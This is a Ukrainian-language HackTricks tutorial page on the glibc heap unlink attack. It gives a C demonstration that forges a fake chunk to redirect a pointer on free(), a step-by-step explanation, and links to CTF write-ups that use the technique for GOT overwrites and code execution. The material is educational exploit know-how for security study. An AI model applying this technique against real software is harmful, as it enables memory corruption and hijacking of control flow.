hacktricks/binary-exploitation/libc-heap/unlink-attack.md

153 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Атака Unlink
{% hint style="success" %}
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Основна інформація
Коли цю атаку виявили, вона в основному дозволяла WWW (Write What Where), однак, були додані **перевірки**, що робить нову версію атаки більш цікавою, складною та **некорисною**.
### Приклад коду:
<details>
<summary>Код</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
```
</details>
* Атака не працює, якщо використовуються tcaches (після версії 2.26)
### Мета
Ця атака дозволяє **змінити вказівник на блок так, щоб він вказував на 3 адреси перед собою**. Якщо нове місце (навколишність, де знаходився вказівник) містить цікаві речі, наприклад інші керовані виділення / стек..., можливо зчитати/перезаписати їх, щоб завдати більшої шкоди.
* Якщо цей вказівник знаходився в стеку, оскільки тепер він вказує на 3 адреси перед собою і користувач, можливо, може зчитати його та змінити, буде можливо витік чутливої інформації зі стеку або навіть змінити адресу повернення (можливо) без торканнясь канарейки
* У прикладах CTF цей вказівник знаходиться в масиві вказівників на інші виділення, тому, зробивши його вказувати на 3 адреси перед і маючи можливість зчитувати та записувати його, можливо зробити інші вказівники вказувати на інші адреси.\
Оскільки користувач може також зчитувати/писати інші виділення, він може витікати інформацію або перезаписувати нову адресу в довільних місцях (наприклад, в GOT).
### Вимоги
* Деякий контроль у пам'яті (наприклад, стек), щоб створити кілька блоків, надаючи значення деяким атрибутам.
* Витік стеку для встановлення вказівників фальшивого блоку.
### Атака
* Є кілька блоків (блок1 та блок2)
* Атакуючий контролює вміст блоку1 та заголовки блоку2.
* У блоку1 атакуючий створює структуру фальшивого блоку:
* Щоб обійти захисти, він переконується, що поле `size` є правильним, щоб уникнути помилки: `corrupted size vs. prev_size while consolidating`
* і поля `fd` та `bk` фальшивого блоку вказують на те місце, де зберігається вказівник блоку1 з зміщеннями -3 та -2 відповідно, так що `fake_chunk->fd->bk` та `fake_chunk->bk->fd` вказують на позицію в пам'яті (стек), де знаходиться справжня адреса блоку1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Заголовки блоку2 змінені так, щоб вказувати, що попередній блок не використовується і що розмір - це розмір фальшивого блоку.
* Коли другий блок вивільняється, тоді відбувається роз'єднання цього фальшивого блоку:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Раніше було зроблено так, що `fake_chunk->fd->bk` та `fake_chunk->bk->fd` вказують на те саме місце (місце в стеці, де зберігалася `chunk1`), тому це був дійсний зв'язаний список. Оскільки **обидва вказують на те саме місце**, тільки останній (`fake_chunk->bk->fd = fake_chunk->fd`) буде **виконаний**.
* Це призведе до **перезапису вказівника на блок1 в стеці на адресу (або байти), збережену 3 адреси перед в стеці**.
* Таким чином, якщо атакуючий зможе контролювати вміст блоку1 знову, він зможе **писати всередину стеку**, можливо перезаписати адресу повернення, обійшовши канарейку та змінивши значення та вказівники локальних змінних. Навіть знову змінюючи адресу блоку1, збережену в стеці, на інше місце, де якщо атакуючий зможе знову контролювати вміст блоку1, він зможе писати де завгодно.
* Зверніть увагу, що це було можливо через те, що **адреси зберігаються в стеці**. Ризик та експлуатація можуть залежати від **того, де зберігаються адреси фальшивого блоку**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Посилання
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Хоча було б дивно знайти атаку unlink навіть у CTF, ось деякі описи, де ця атака використовувалася:
* Приклад CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* У цьому прикладі, замість стеку є масив адрес, виділених за допомогою malloc. Атака unlink виконується для можливості виділення блоку тут, тому можливо керувати вказівниками масиву виділених адрес. Потім є ще одна функціональність, яка дозволяє змінювати вміст блоків за цими адресами, що дозволяє вказувати адреси на GOT, змінювати адреси функцій для отримання витоків та RCE.
* Інший приклад CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Точно так само, як у попередньому прикладі, є масив адрес виділень. Можливо виконати атаку unlink, щоб адреса першого виділення вказувала на кілька позицій перед початком масиву, а потім перезаписати це виділення на новій позиції. Таким чином, можливо перезаписати вказівники інших виділень, щоб вказувати на GOT atoi, вивести його, щоб отримати витік libc, а потім перезаписати GOT atoi адресою до одного гаджета.
* Приклад CTF з власними функціями malloc та free, які зловживають вразливістю, дуже схожою на атаку unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Є переповнення, яке дозволяє керувати вказівниками FD та BK власного malloc, який буде (власноруч) вивільнений. Крім того, у купі є біт exec, тому можливо витікати адресу купи та вказувати функцію з GOT на купу з shellcode для виконання.
{% hint style="success" %}
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
</details>
{% endhint %}